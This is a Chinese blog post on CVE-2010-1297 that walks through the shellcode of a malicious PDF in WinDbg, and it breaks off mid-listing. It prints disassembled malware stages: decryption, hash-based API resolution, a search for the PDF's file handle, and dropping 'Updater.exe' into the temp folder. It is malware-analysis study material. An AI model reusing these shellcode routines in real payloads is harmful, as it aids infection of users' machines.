CVE-2010-1297漏洞shellcode简析
Author: ReverseMan
Blog: http:/hi.baidu.com/reverseman
前段时间,帮一朋友分析这个漏洞,主要是使用Windbg找到漏洞触发的原理以及找到shellcode的起始位置。现在由于某些原因,这些工作都没有意义了。虽然之前所做的工作都没有意义了,但是我还是花费了好些时间来分析这个漏洞的,所以现在简单将分析的过程写出来,一是方便自己学习总结,二是为和大家共享交流,互相学习进步而已。
此次分析仅仅是从找到shellcode的起始位置开始,来分析shellcode中的编写技巧以及编写方法的。至于这个漏洞的原理以及如何在windbg中定位的shellcode的在本文的最后会做一个简要的描述,不做详述了。
分析这个shellcode的原因就是在于这个shellcode是一个非常典型的shellcode。里面包括了shellcode中的各种编写技术,非常值得学习。我也是一边分析、一边学习的,下面就是我分析过程,仅为学习,勿做他途。
这段shellcode我分成了三个阶段,第一个阶段就是利用的ROP来绕过DEP,然后执行后续的拷贝等工作的。在文末后再做解释,此处从第二个阶段开始。
一、shellcode分析
1、 第一个阶段:见第二部分总结
2、第二个阶段:
当程序运行到第二阶段shellcode开始的地方的时候,shellcode所在的内存区已经被写入了一些但不是全部的代码,首先使用如下命令来查看下shellcode所在内存区域的内存属性:
代码:
0:000> !address eip 033e0000 : 033e0000 - 00001000 Type 00020000 MEM_PRIVATE Protect 00000040 PAGE_EXECUTE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageIsVAD
下面就是开始处的shellcode:
Code_index1:
代码:
033e0000 5a pop edx 033e0001 90 nop 033e0002 54 push esp 033e0003 90 nop 033e0004 5a pop edx ----->此处执行完,见Stack_Index1:edx=0c0c0d94 033e0005 eb15 jmp <Unloaded_POOL.DRV>+0x334001b (033e001c) 033e0007 58 pop eax //此处重定位 033e0008 8b1a mov ebx,dword ptr [edx] 033e000a 8918 mov dword ptr [eax],ebx //此处进行数据的拷贝 033e000c 83c004 add eax,4 033e000f 83c204 add edx,4 033e0012 81fb0c0c0c0c cmp ebx,offset <Unloaded_POOL.DRV>+0xc0c0c0b (0c0c0c0c) 033e0018 75ee jne <Unloaded_POOL.DRV>+0x3340007 (033e0008) 033e001a eb05 jmp <Unloaded_POOL.DRV>+0x3340020 (033e0021) 033e001c e8e6ffffff call <Unloaded_POOL.DRV>+0x3340006 (033e0007)
Stack_index1:
代码:
0c0c0d94 484023eb //shellcode 起始地方 0c0c0d98 5b575f43 0c0c0d9c 3c038b66 <Unloaded_POOL.DRV>+0x3c038b65 0c0c0da0 2c1b7430 <Unloaded_POOL.DRV>+0x2c1b742f 0c0c0da4 04e0c063 <Unloaded_POOL.DRV>+0x4e0c062 0c0c0da8 8043ec80 0c0c0dac c4020fe4 0c0c0db0 0788ea34 <Unloaded_POOL.DRV>+0x788ea33 0c0c0db4 eb474343 0c0c0db8 ffd8e8e3 0c0c0dbc 4e49ffff 0c0c0dc0 4d414943 0c0c0dc4 4d414541 0c0c0dc8 4d4b4d41 0c0c0dcc 4d414543 0c0c0dd0 4d414d41 0c0c0dd4 444e4d41 <Unloaded_POOL.DRV>+0x444e4d40 0c0c0dd8 44434e49 <Unloaded_POOL.DRV>+0x44434e48 …… …… 0c0c11c8 4d414d4d 0c0c11cc 50414649 0c0c11d0 4e414443 0c0c11d4 4e4b474e 0c0c11d8 30304c45 <Unloaded_POOL.DRV>+0x30304c44 0c0c11dc 0c0c0c0c <Unloaded_POOL.DRV>+0xc0c0c0b //shellcode在此处结束 0c0c11e0 0c0c0c0c <Unloaded_POOL.DRV>+0xc0c0c0b 0c0c11e4 0c0c0c0c <Unloaded_POOL.DRV>+0xc0c0c0b 0c0c11e8 0c0c0c0c <Unloaded_POOL.DRV>+0xc0c0c0b
Code_index2:
代码:
033e001a eb05 jmp <Unloaded_POOL.DRV>+0x3340020 (033e0021) 033e001c e8e6ffffff call <Unloaded_POOL.DRV>+0x3340006 (033e0007) 033e0021 eb23 jmp <Unloaded_POOL.DRV>+0x3340045 (033e0046) 033e0023 40 inc eax 033e0024 48 dec eax 033e0025 43 inc ebx 033e0026 5f pop edi 033e0027 57 push edi 033e0028 5b pop ebx //ebx=0x033e004b 033e0029 668b03 mov ax,word ptr [ebx] 033e002c 3c30 cmp al,30h 033e002e 741b je <Unloaded_POOL.DRV>+0x334004a (033e004b) 033e0030 2c63 sub al,63h 033e0032 c0e004 shl al,4 033e0035 80ec43 sub ah,43h 033e0038 80e40f and ah,0Fh 033e003b 02c4 add al,ah 033e003d 34ea xor al,0EAh 033e003f 8807 mov byte ptr [edi],al 033e0041 43 inc ebx 033e0042 43 inc ebx 033e0043 47 inc edi 033e0044 ebe3 jmp <Unloaded_POOL.DRV>+0x3340028 (033e0029) 033e0046 e8d8ffffff call <Unloaded_POOL.DRV>+0x3340022 (033e0023) 033e004b 49 dec ecx //从此处以下均为加密的shellcode 033e004c 4e dec esi 033e004d 43 inc ebx 033e004e 49 dec ecx 033e004f 41 inc ecx …… ……//此处后面还有,限于篇幅,未全部列出
代码:
void decode(char *shellcode) { …… WORD wTemp; unsigned char *pMov,pCode=(unsigned char *)shellcode; pMov=pCode; While(*pCode!=0x30) { wTemp=(WORD*)pCode; *pCode=(((wTemp&0x00FF)-0x63)<<4+(wTemp>>4)-0x43)^0xEA; pCode++; pMov+=2; } …… }
代码:
Code_index3: 033e004b 81ec00080000 sub esp,offset <Unloaded_POOL.DRV>+0x7ff (00000800) 033e0051 60 pushad 033e0052 e800000000 call <Unloaded_POOL.DRV>+0x3340056 (033e0057) 033e0057 5b pop ebx //此处为明显的重定位 033e0058 81ebac104000 sub ebx,offset AcroRd32Exe+0x10ac (004010ac) 033e005e eb30 jmp <Unloaded_POOL.DRV>+0x334008f (033e0090) //跳转到0x033e0090处 033e0060 16 push ss 033e0061 65fa cli 033e0063 10ec adc ah,ch 033e0065 97 xchg eax,edi 033e0066 030cac add ecx,dword ptr [esp+ebp*4] 033e0069 08da or dl,bl 033e006b 76ad jbe <Unloaded_POOL.DRV>+0x3340019 (033e001a) 033e006d 9b wait …… ……
下面看0x033e0090处的反汇编代码:
Code_index4:
代码:
033e0090 64a130000000 mov eax,dword ptr fs:[<Unloaded_POOL.DRV>+0x2f (00000030)] fs:003b:00000030=7ffdf000 //使用fs:30来定位Kernel32.dll基址 033e0096 8b400c mov eax,dword ptr [eax+0Ch] 033e0099 8b701c mov esi,dword ptr [eax+1Ch] 033e009c ad lods dword ptr [esi] 033e009d 8b4008 mov eax,dword ptr [eax+8] 033e00a0 8983cd104000 mov dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx],eax //此时eax中存放的就是Kernel32的基址 ,详见Data_Index1 033e00a6 fc cld 033e00a7 8dbbb5104000 lea edi,AcroRd32Exe+0x10b5 (004010b5)[ebx] 033e00ad 33c9 xor ecx,ecx 033e00af b106 mov cl,6 033e00b1 e827010000 call <Unloaded_POOL.DRV>+0x33401dc (033e01dd)
Data_index1:
代码:
0:000> !lmi Kernel32.dll Loaded Module Info: [kernel32.dll] Module: kernel32 Base Address: 7c800000 Image Name: C:\WINDOWS\system32\kernel32.dll Machine Type: 332 (I386) Time Stamp: 4802bdc6 Mon Apr 14 10:13:26 2008 Size: 11e000 CheckSum: 122a2b Characteristics: 210e perf Debug Data Dirs: Type Size VA Pointer CODEVIEW 25, 840a4, 834a4 RSDS - GUID: {34560E80-F5C5-4175-B208-848EF863C5BD} Age: 2, Pdb: kernel32.pdb CLSID 4, 840a0, 834a0 [Data not mapped] Image Type: FILE - Image read successfully from debugger. C:\WINDOWS\system32\kernel32.dll Symbol Type: PDB - Symbols loaded successfully from symbol search path. y:\kernel32.pdb Load Report: public symbols , not source indexed y:\kernel32.pdb 0:000> r eax=7c800000 ebx=02f3efab ecx=90ffffff edx=0c0c11e0 esi=00251f5c edi=033e0259 eip=033e00a0 esp=0c0c0574 ebp=00010124 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00240212 <Unloaded_POOL.DRV>+0x334009f: 033e00a0 8983cd104000 mov dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx],eax ds:0023:033e0078={kernel32!_imp___wcsnicmp <PERF> (kernel32+0x0) (7c800000)}
在随后的Code_index4后调用了033e01dd处的函数(Code_index5)
Code_index5:
代码:
033e01dd 60 pushad 033e01de 8bb3cd104000 mov esi,dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx] 033e01e4 03763c add esi,dword ptr [esi+3Ch] 033e01e7 8b7678 mov esi,dword ptr [esi+78h] 033e01ea 03b3cd104000 add esi,dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx] 033e01f0 56 push esi 033e01f1 8b4e18 mov ecx,dword ptr [esi+18h] 033e01f4 8b7620 mov esi,dword ptr [esi+20h] 033e01f7 03b3cd104000 add esi,dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx] 033e01fd 33c0 xor eax,eax 033e01ff 33d2 xor edx,edx 033e0201 56 push esi 033e0202 8b36 mov esi,dword ptr [esi] 033e0204 03b3cd104000 add esi,dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx] //以上的上述过程均是在做PE格式的解析 033e020a ac lods byte ptr [esi] //读取函数名中的字符 033e020b 38e0 cmp al,ah //判断函数名是否结束 033e020d 7407 je <Unloaded_POOL.DRV>+0x3340215 (033e0216) 033e020f c1ca0d ror edx,0Dh 033e0212 03d0 add edx,eax 033e0214 ebf4 jmp <Unloaded_POOL.DRV>+0x3340209 (033e020a) //对函数名进行hash 033e0216 3b17 cmp edx,dword ptr [edi] //hash的结果与存档的hash值进行比较 033e0218 7409 je <Unloaded_POOL.DRV>+0x3340222 (033e0223) 033e021a 5e pop esi 033e021b 83c604 add esi,4 033e021e 49 dec ecx 033e021f 7435 je <Unloaded_POOL.DRV>+0x3340255 (033e0256) 033e0221 ebdc jmp <Unloaded_POOL.DRV>+0x33401fe (033e01ff) //如果没有匹配,即没有查找到函数,即返回继续查找 033e0223 5e pop esi 033e0224 8bd6 mov edx,esi 033e0226 5e pop esi 033e0227 2b5620 sub edx,dword ptr [esi+20h] 033e022a 2b93cd104000 sub edx,dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx] 033e0230 d1ea shr edx,1 033e0232 035624 add edx,dword ptr [esi+24h] 033e0235 0393cd104000 add edx,dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx] 033e023b 0fb702 movzx eax,word ptr [edx] 033e023e c1e002 shl eax,2 033e0241 03461c add eax,dword ptr [esi+1Ch] 033e0244 0383cd104000 add eax,dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx] 033e024a 8b00 mov eax,dword ptr [eax] 033e024c 0383cd104000 add eax,dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx] 033e0252 8907 mov dword ptr [edi],eax //将找到的函数地址覆盖相应函数的hash值,此处eax=0x7c801812 033e0254 eb01 jmp <Unloaded_POOL.DRV>+0x3340256 (033e0257) 033e0256 5e pop esi 033e0257 61 popad 033e0258 c3 ret
Data_index2:
代码:
0:000> u eax kernel32!ReadFile: //可见,此处找到的函数地址是ReadFile 7c801812 6a20 push 20h 7c801814 68389c807c push offset kernel32!`string'+0xc (7c809c38) 7c801819 e8b80c0000 call kernel32!_SEH_prolog (7c8024d6) 7c80181e 33db xor ebx,ebx 7c801820 8b4d14 mov ecx,dword ptr [ebp+14h] 7c801823 3bcb cmp ecx,ebx 7c801825 7402 je kernel32!ReadFile+0x17 (7c801829) 7c801827 8919 mov dword ptr [ecx],ebx
然后,shellcode继续查找所需要的函数地址,最终所找的函数列表如下:
Data_index3:
代码:
0:000> dds 033e0060 033e0060 7c801812 kernel32!ReadFile 033e0064 7c80fdbd kernel32!GlobalAlloc 033e0068 7c810c1e kernel32!SetFilePointer 033e006c 7c810b07 kernel32!GetFileSize 033e0070 7c809bd7 kernel32!CloseHandle 033e0074 7c81cafa kernel32!ExitProcess 033e0078 7c800000 kernel32!_imp___wcsnicmp <PERF> (kernel32+0x0)
代码:
033e00b6 83c704 add edi,4 033e00b9 e2f6 loop <Unloaded_POOL.DRV>+0x33400b0 (033e00b1) //上述函数过程循环查找shellcode中所需要的函数地址,共计7个 033e00bb fc cld 033e00bc 33c0 xor eax,eax 033e00be 33d2 xor edx,edx 033e00c0 66ba5ec3 mov dx,offset <Unloaded_POOL.DRV>+0xc35d (0000c35e) //对dx赋值为0xc35e,即指令为pop esi ; ret 两条指令 033e00c4 8bb3c9104000 mov esi,dword ptr AcroRd32Exe+0x10c9 (004010c9)[ebx] 033e00ca 668b06 mov ax,word ptr [esi] 033e00cd 663bd0 cmp dx,ax 033e00d0 7404 je <Unloaded_POOL.DRV>+0x33400d5 (033e00d6) 033e00d2 46 inc esi 033e00d3 46 inc esi 033e00d4 ebf4 jmp <Unloaded_POOL.DRV>+0x33400c9 (033e00ca) //上面过程动态查找上述两条指令,在后续过程中方便在Invoke ReadFile后,返回shellcode 033e00d6 89b3e1104000 mov dword ptr AcroRd32Exe+0x10e1 (004010e1)[ebx],esi 033e00dc 33f6 xor esi,esi 033e00de bd00200000 mov ebp,offset <Unloaded_POOL.DRV>+0x1fff (00002000) 033e00e3 eb19 jmp <Unloaded_POOL.DRV>+0x33400fd (033e00fe) 033e00e5 6a00 push 0 033e00e7 56 push esi //esi=0 033e00e8 ff93c1104000 call dword ptr AcroRd32Exe+0x10c1 (004010c1)[ebx] //调用GetFileSize函数来动态查找POC的文件句柄 033e00ee 83f800 cmp eax,0 //若eax非零,则表示esi所代表的整型值表示一个句柄值,并取得相应的文件大小 //否则,递增句柄值,并继续查找。注意,此处找到的句柄值并不一定是POC文件的句柄值 033e00f1 7e08 jle <Unloaded_POOL.DRV>+0x33400fa (033e00fb) 033e00f3 eb0b jmp <Unloaded_POOL.DRV>+0x33400ff (033e0100) 033e00f5 8bb3d9104000 mov esi,dword ptr AcroRd32Exe+0x10d9 (004010d9)[ebx] 033e00fb 83c604 add esi,4 033e00fe ebe5 jmp <Unloaded_POOL.DRV>+0x33400e4 (033e00e5) 033e0100 89b3d9104000 mov dword ptr AcroRd32Exe+0x10d9 (004010d9)[ebx],esi 033e0106 8be8 mov ebp,eax 033e0108 0500080000 add eax,offset <Unloaded_POOL.DRV>+0x7ff (00000800) 033e010d 50 push eax //eax==0x00078a75,即文件大小 033e010e 6a40 push 40h 033e0110 ff93b9104000 call dword ptr AcroRd32Exe+0x10b9 (004010b9)[ebx] //调用GlobalAlloc分配空间,大小为eax即文件大小,内存属性为可写可读可执行。 033e0116 8983d1104000 mov dword ptr AcroRd32Exe+0x10d1 (004010d1)[ebx],eax 033e011c 03c5 add eax,ebp 033e011e 8983d5104000 mov dword ptr AcroRd32Exe+0x10d5 (004010d5)[ebx],eax 033e0124 6a00 push 0 033e0126 6a00 push 0 033e0128 6a00 push 0 033e012a ffb3d9104000 push dword ptr AcroRd32Exe+0x10d9 (004010d9)[ebx] 033e0130 ff93bd104000 call dword ptr AcroRd32Exe+0x10bd (004010bd)[ebx] //调用SetFilePointer将文件指针放到恶意代码开始的地方 //此处将恶意代码放到文件头 033e0136 8bb3d1104000 mov esi,dword ptr AcroRd32Exe+0x10d1 (004010d1)[ebx] 033e013c 8dbbdd104000 lea edi,AcroRd32Exe+0x10dd (004010dd)[ebx] 033e0142 8b93d9104000 mov edx,dword ptr AcroRd32+0x10d9 (004010d9)[ebx] 033e0148 8d83b7114000 lea eax,AcroRd32+0x11b7 (004011b7)[ebx] 033e014e 50 push eax //“小配件”的返回地址,其实就是0x033e0162 033e014f 56 push esi //“小配件”的参数,无实际意义 033e0150 6a00 push 0 //ReadFile的参数5:lpOverlapped 033e0152 57 push edi // ReadFile的参数4: lpNumberOfBytesRead 033e0153 55 push ebp// ReadFile的参数3: nNumberOfBytesToRead 033e0154 56 push esi // ReadFile的参数2: lpBuffer 033e0155 52 push edx//ReadFile的参数1: hFile 033e0156 ffb3e1104000 push dword ptr AcroRd32+0x10e1 (004010e1)[ebx]//返回地址 //下面使用jmp调用ReadFile,所以我们需要事先将返回地址手动压入栈中,上述指令即将前面动态查找的 称作“小配件”的指令的地址压入,用来返回 033e015c ffa3b5104000 jmp dword ptr AcroRd32+0x10b5 (004010b5)[ebx] ds:0023:033e0060={kernel32!ReadFile (7c801812)} //调用ReadFile读取文件 033e0162 0bc0 or eax,eax 033e0164 7e8f jle <Unloaded_.dll>+0x33e00f4 (033e00f5) 033e0166 90 nop 033e0167 90 nop 033e0168 8bb3d1104000 mov esi,dword ptr AcroRd32+0x10d1 (004010d1)[ebx] 033e016e 8b06 mov eax,dword ptr [esi] ds:0023:001bb008=46445025 //esi指向缓冲区,内容见Data_index4 033e0170 3d25504446 cmp eax,offset <Unloaded_.dll>+0x46445024 (46445025) //判断缓冲区头部内容是否和0x46445025相等,这个十六进制数其实就是ASCII:%PDF //也就是标示PDF文件的文件头数据 033e0175 740c je <Unloaded_.dll>+0x33e0182 (033e0183) 033e0177 8bb3d9104000 mov esi,dword ptr AcroRd32+0x10d9 (004010d9)[ebx] 033e017d 46 inc esi 033e017e e972ffffff jmp <Unloaded_.dll>+0x33e00f4 (033e00f5) //如果查找到的文件不是PDF文件头,即不是我们所需要查找的文件头,则需要返回重新查//找,即继续GetFileSize,然后GlobalAlloc,读入文件内容,判断是否是PDF头部。 //否则,则认为找到POC文件,往下继续执行 033e0183 8bb3d1104000 mov esi,dword ptr AcroRd32+0x10d1 (004010d1)[ebx] 033e0189 33c9 xor ecx,ecx 033e018b bafafbfcfd mov edx,0FDFCFBFAh //恶意代码的特征码 033e0190 eb08 jmp <Unloaded_.dll>+0x33e0199 (033e019a) 033e0192 8b06 mov eax,dword ptr [esi] 033e0194 3bc2 cmp eax,edx 033e0196 740c je <Unloaded_.dll>+0x33e01a3 (033e01a4) 033e0198 46 inc esi 033e0199 41 inc ecx 033e019a 3bcd cmp ecx,ebp //ebp保存文件大小 033e019c 72f4 jb <Unloaded_.dll>+0x33e0191 (033e0192) //在POC中循环查找恶意代码的起始位置 结束时ecx=0x00007e8f 033e019e e952ffffff jmp <Unloaded_.dll>+0x33e00f4 (033e00f5) 033e01a4 83c604 add esi,4 033e01a7 8b3ce4 mov edi,dword ptr [esp] 033e01aa 90 nop 033e01ab 90 nop 033e01ac 90 nop 033e01ad b9000a0000 mov ecx,offset <Unloaded_.dll>+0x9ff (00000a00) 033e01b2 a4 movs byte ptr es:[edi],byte ptr [esi] 033e01b3 e2fd loop <Unloaded_.dll>+0x33e01b1 (033e01b2) //此处查找到恶意代码的起始位置,开始循环拷贝shellcode,此时寄存器值如下: 0:000> r. edi=033e0259 es=00000023 esi=001c2e9b //edi即当前shellcode所在的内存区,而esi为刚读入内存的数据(大小0xa00) //读取的shellcode可以成为shellcode的第三个阶段 033e01b5 8bbbd1104000 mov edi,dword ptr AcroRd32+0x10d1 (004010d1)[ebx] 033e01bb 90 nop 033e01bc 90 nop 033e01bd 90 nop 033e01be 90 nop 033e01bf 90 nop 033e01c0 90 nop 033e01c1 90 nop 033e01c2 90 nop 033e01c3 90 nop 033e01c4 90 nop 033e01c5 90 nop 033e01c6 90 nop 033e01c7 90 nop 033e01c8 c3 ret //返回时,poi(esp)= 0x033e0259
代码:
0:000> da poi(esi) 001bb008 "%PDF-1.5.1 0 obj.<</#54ype/C#61#" 001bb028 "74#61l#6fg/P#61#67e#73 3 0 R/#4f" 001bb048 "p#65#6e#41c#74ion 5 0 R>>.endobj" 001bb068 ".3 0 obj.<</#54#79pe/P#61#67#65#" 001bb088 "73/Cou#6et 1/Kid#73 [4 0 R]>>.en" 001bb0a8 "dobj.4 0 obj.<</#54#79#70e/#50ag" 001bb0c8 "e/#50#61re#6et 3 0 R/#41nn#6f#74" 001bb0e8 "#73 [7 0 R] >>.endobj.5 0 obj.<<" 001bb108 "/T#79p#65/#41c#74ion/S/JavaSc#72" 001bb128 "i#70#74/#4aS 6 0 R>>.endobj.6 0 " 001bb148 "obj.<</Le#6e#67t#68 3646/Fi#6cte" 001bb168 "r /#46l#61#74e#44ecode
3、第三个阶段:
第二个阶段已经完成了动态解密shellcode、动态查找所需要的函数地址、查找POC文件、拷贝下一阶段shellcode等功能。第三个阶段的shellcode就是完成最终的功能,这就可能是释放恶意文件、感染系统或者盗取隐私信息等。后面的基本上就是调用API函数完成特定的功能了,代码也就较为简单,所以只是简单罗列出代码来,方便大家查看。
代码:
033e0259 90 nop 033e025a 90 nop 033e025b 8b4424fc mov eax,dword ptr [esp-4] 033e025f 83c01b add eax,1Bh //eax==033e0274 033e0262 33c9 xor ecx,ecx 033e0264 803022 xor byte ptr [eax],22h 033e0267 40 inc eax 033e0268 41 inc ecx 033e0269 81f900070000 cmp ecx,offset <Unloaded_.dll>+0x6ff (00000700) 033e026f 75f3 jne <Unloaded_.dll>+0x33e0263 (033e0264) 033e0271 90 nop 033e0272 90 nop 033e0273 90 nop 033e0274 77a9 ja <Unloaded_.dll>+0x33e021e (033e021f) 033e0276 ce into 033e0277 a3ce3e2422 mov dword ptr [Annots!PlugInMain+0x142b5b (22243ece)],eax 033e027c 227174 and dh,byte ptr [ecx+74h] 033e027f 75e5 jne <Unloaded_.dll>+0x33e0265 (033e0266) 033e0281 67ea23222222e567 jmp 67E5:22222223
Code_index6:
代码:
033e0274 55 push ebp 033e0275 8bec mov ebp,esp 033e0277 81ec1c060000 sub esp,offset <Unloaded_.dll>+0x61b (0000061c) 033e027d 53 push ebx 033e027e 56 push esi 033e027f 57 push edi 033e0280 c745c801000000 mov dword ptr [ebp-38h],offset <Unloaded_.dll> (00000001) 033e0287 c745bc00000000 mov dword ptr [ebp-44h],0 033e028e c745ac80000000 mov dword ptr [ebp-54h],offset <Unloaded_.dll>+0x7f (00000080) 033e0295 c78534feffff00000000 mov dword ptr [ebp-1CCh],0 033e029f c68524faffff55 mov byte ptr [ebp-5DCh],55h 033e02a6 c68525faffff70 mov byte ptr [ebp-5DBh],70h 033e02ad c68526faffff64 mov byte ptr [ebp-5DAh],64h 033e02b4 c68527faffff61 mov byte ptr [ebp-5D9h],61h 033e02bb c68528faffff74 mov byte ptr [ebp-5D8h],74h 033e02c2 c68529faffff65 mov byte ptr [ebp-5D7h],65h 033e02c9 c6852afaffff72 mov byte ptr [ebp-5D6h],72h 033e02d0 c6852bfaffff2e mov byte ptr [ebp-5D5h],2Eh 033e02d7 c6852cfaffff65 mov byte ptr [ebp-5D4h],65h 033e02de c6852dfaffff78 mov byte ptr [ebp-5D3h],78h 033e02e5 c6852efaffff65 mov byte ptr [ebp-5D2h],65h //上述几个字符即为Update.exe //0:000> da 0c0bff98 0c0bff98 "Updater.exe....................." 0c0bffb8 "................................" 0c0bffd8 "................................" 0c0bfff8 "................................" 033e02ec 33c0 xor eax,eax 033e02ee 89852ffaffff mov dword ptr [ebp-5D1h],eax 033e02f4 e9a2040000 jmp <Unloaded_.dll>+0x33e079a (033e079b) 033e02f9 5f pop edi //上述过程即是在重定位 033e02fa 64a130000000 mov eax,dword ptr fs:[<Unloaded_.dll>+0x2f (00000030)] 033e0300 8b400c mov eax,dword ptr [eax+0Ch] 033e0303 8b701c mov esi,dword ptr [eax+1Ch] 033e0306 ad lods dword ptr [esi] 033e0307 8b5808 mov ebx,dword ptr [eax+8] //获取kernel32基址,似乎和第二阶段的shellcode功能重复 033e030a 8bf7 mov esi,edi 033e030c 6a0c push 0Ch 033e030e 59 pop ecx 033e030f e826040000 call <Unloaded_.dll>+0x33e0739 (033e073a) //0x033e073a处的汇编代码见Code_index6 033e0314 e2f9 loop <Unloaded_.dll>+0x33e030e (033e030f) Code_index7: 033e073a 51 push ecx 033e073b 56 push esi 033e073c 8b733c mov esi,dword ptr [ebx+3Ch] 033e073f 8b741e78 mov esi,dword ptr [esi+ebx+78h] 033e0743 03f3 add esi,ebx 033e0745 56 push esi 033e0746 8b7620 mov esi,dword ptr [esi+20h] 033e0749 03f3 add esi,ebx 033e074b 33c9 xor ecx,ecx 033e074d 53 push ebx 033e074e 49 dec ecx 033e074f 41 inc ecx 033e0750 ad lods dword ptr [esi] 033e0751 5b pop ebx 033e0752 03c3 add eax,ebx 033e0754 53 push ebx 033e0755 33db xor ebx,ebx 033e0757 0fbe10 movsx edx,byte ptr [eax] 033e075a 3ad6 cmp dl,dh 033e075c 7408 je <Unloaded_.dll>+0x33e0765 (033e0766) 033e075e c1cb07 ror ebx,7 033e0761 03da add ebx,edx 033e0763 40 inc eax 033e0764 ebf1 jmp <Unloaded_.dll>+0x33e0756 (033e0757) 033e0766 3b1f cmp ebx,dword ptr [edi] ds:0023:033e07a0=b4ffafed 033e0768 75e5 jne <Unloaded_.dll>+0x33e074e (033e074f) 033e076a 5a pop edx 033e076b 5e pop esi 033e076c 8b5e24 mov ebx,dword ptr [esi+24h] 033e076f 03da add ebx,edx 033e0771 668b0c4b mov cx,word ptr [ebx+ecx*2] 033e0775 8b5e1c mov ebx,dword ptr [esi+1Ch] 033e0778 03da add ebx,edx 033e077a 8b048b mov eax,dword ptr [ebx+ecx*4] 033e077d 03c2 add eax,edx 033e077f 57 push edi 033e0780 8dbdccffffff lea edi,[ebp-34h] 033e0786 8b4dc8 mov ecx,dword ptr [ebp-38h] 033e0789 83c704 add edi,4 033e078c e2fb loop <Unloaded_.dll>+0x33e0788 (033e0789) 033e078e ab stos dword ptr es:[edi] 033e078f 5f pop edi 033e0790 83c704 add edi,4 033e0793 8bda mov ebx,edx 033e0795 5e pop esi 033e0796 59 pop ecx 033e0797 ff45c8 inc dword ptr [ebp-38h] 033e079a c3 ret
Data_index5:
代码:
0c0c0544 7c80b55f kernel32!GetModuleFileNameA 0c0c0548 7c810b07 kernel32!GetFileSize 0c0c054c 7c810c1e kernel32!SetFilePointer 0c0c0550 7c801a28 kernel32!CreateFileA 0c0c0554 7c801812 kernel32!ReadFile 0c0c0558 7c810e17 kernel32!WriteFile 0c0c055c 7c809bd7 kernel32!CloseHandle 0c0c0560 7c8623ad kernel32!WinExec 0c0c0564 7c835de2 kernel32!GetTempPathA 0c0c0568 7c80236b kernel32!CreateProcessA 0c0c056c 7c80de85 kernel32!GetCurrentProcess 0c0c0570 7c801e1a kernel32!TerminateProcess
代码:
033e0316 8b07 mov eax,dword ptr [edi] 033e0318 89854cfeffff mov dword ptr [ebp-1B4h],eax 033e031e 83c704 add edi,4 033e0321 8b07 mov eax,dword ptr [edi] 033e0323 898548feffff mov dword ptr [ebp-1B8h],eax ss:0023:0c0c03bc=0c0c0c0c 033e0329 83c704 add edi,4 033e032c 8b07 mov eax,dword ptr [edi] 033e032e 898544feffff mov dword ptr [ebp-1BCh],eax 033e033e 83c704 add edi,4 033e0337 8b07 mov eax,dword ptr [edi] 033e0339 898540feffff mov dword ptr [ebp-1C0h],eax 033e033f 83c704 add edi,4 033e0342 8b07 mov eax,dword ptr [edi] 033e0344 89853cfeffff mov dword ptr [ebp-1C4h],eax 033e034a 83c704 add edi,4 033e034d 89bd38feffff mov dword ptr [ebp-1C8h],edi 033e0353 6880000000 push offset <Unloaded_.dll>+0x7f (00000080) 033e0358 8d8d50feffff lea ecx,[ebp-1B0h] 033e035e 51 push ecx 033e035f 6a00 push 0 033e0361 ff55d0 call dword ptr [ebp-30h] //调用GetModuleFileNameA 033e0364 6a00 push 0 033e0366 8b55bc mov edx,dword ptr [ebp-44h] 033e0369 52 push edx 033e036a ff55d4 call dword ptr [ebp-2Ch] //调用GetFileSize 033e036d 39854cfeffff cmp dword ptr [ebp-1B4h],eax 033e0373 7406 je <Unloaded_.dll>+0x33e037a (033e037b) 033e0375 8345bc04 add dword ptr [ebp-44h],4 033e0379 ebe9 jmp <Unloaded_.dll>+0x33e0363 (033e0364) 033e037b 6a00 push 0 033e037d 6a00 push 0 033e037f 8b853cfeffff mov eax,dword ptr [ebp-1C4h] 033e0385 50 push eax 033e0386 8b4dbc mov ecx,dword ptr [ebp-44h] 033e0389 51 push ecx 033e038a ff55d8 call dword ptr [ebp-28h] //setFilePointer 033e038d 8d9524ffffff lea edx,[ebp-0DCh] 033e0393 52 push edx 033e0394 8b45ac mov eax,dword ptr [ebp-54h] 033e0397 50 push eax 033e0398 ff55f0 call dword ptr [ebp-10h] //GetTempPathA 033e039b 8dbd24ffffff lea edi,[ebp-0DCh] 033e03a1 4f dec edi 033e03a2 47 inc edi 033e03a3 803f00 cmp byte ptr [edi],0 033e03a6 75fa jne <Unloaded_.dll>+0x33e03a1 (033e03a2) 033e03a8 8db524faffff lea esi,[ebp-5DCh] 033e03ae b90c000000 mov ecx,offset <Unloaded_.dll>+0xb (0000000c) 033e03b3 f2a4 repne movs byte ptr es:[edi],byte ptr [esi] //将Update.exe附加在Temp文件夹路径后面创建文件 033e03b5 6a00 push 0 033e03b7 6880000000 push offset <Unloaded_.dll>+0x7f (00000080) 033e03bc 6a02 push 2 033e03be 6a00 push 0 033e03c0 6a02 push 2 033e03c2 68000000c0 push 0C0000000h 033e03c7 8d8d24ffffff lea ecx,[ebp-0DCh] 033e03cd 51 push ecx 033e03ce ff55dc call dword ptr [ebp-24h] //调用CreateFileA创建恶意文件 033e03d1 8945c4 mov dword ptr [ebp-3Ch],eax 033e03d4 c78534feffff00000000 mov dword ptr [ebp-1CCh],0 033e03de 8b9548feffff mov edx,dword ptr [ebp-1B8h] 033e03e4 8955a4 mov dword ptr [ebp-5Ch],edx 033e03e7 8b8548feffff mov eax,dword ptr [ebp-1B8h] 033e03ed c1e80a shr eax,0Ah 033e03f0 398534feffff cmp dword ptr [ebp-1CCh],eax 033e03f6 0f8383000000 jae <Unloaded_.dll>+0x33e047e (033e047f) 033e03fc 6a00 push 0 033e03fe 8d4db4 lea ecx,[ebp-4Ch] 033e0401 51 push ecx 033e0402 6800040000 push offset <Unloaded_.dll>+0x3ff (00000400) 033e0407 8d9534faffff lea edx,[ebp-5CCh] 033e040d 52 push edx 033e040e 8b45bc 